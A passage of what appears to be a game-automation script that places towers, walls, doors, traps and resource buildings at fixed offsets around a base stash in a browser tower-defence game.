Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + -384, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + -432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + -624, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + -576, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + -528, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + -480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -576, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + -528, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + -480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -480, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -384, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -192, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -288, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + -432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + -336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 528, stashPosition.y + -240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 576, stashPosition.y + -144, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + -144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + -144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + -240, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 624, stashPosition.y + -48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 528, stashPosition.y + -48, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + -48, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + -144, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + -336, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 672, stashPosition.y + 96, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 624, stashPosition.y + 192, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 576, stashPosition.y + 288, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 576, stashPosition.y + 96, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + 288, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 528, stashPosition.y + 192, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + 192, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + 96, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 192, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + 96, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + 96, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 96, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 240, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 192, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 288, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 336, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 240, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 288, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 384, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 336, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 432, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 480, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 528, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 336, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 384, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 432, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + 432, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + 624, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 576, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 528, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + 480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 384, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + 480, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + 432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 432, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + 528, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 528, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + 624, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 576, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + 48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + 48, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + -144, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + -48, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + -240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + -336, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + 240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + 240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -528, stashPosition.y + 240, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + 336, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + -336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + -240, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -528, stashPosition.y + -144, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -576, stashPosition.y + -48, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -576, stashPosition.y + 144, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + 336, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + 48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + 48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -576, stashPosition.y + 48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + 288, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 360, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 360, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 528, stashPosition.y + 384, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + 432, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + 336, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 24, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -24, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + -336, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + -432, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + -336, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + -432, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 456, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + 408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 72, 'Door', 0);
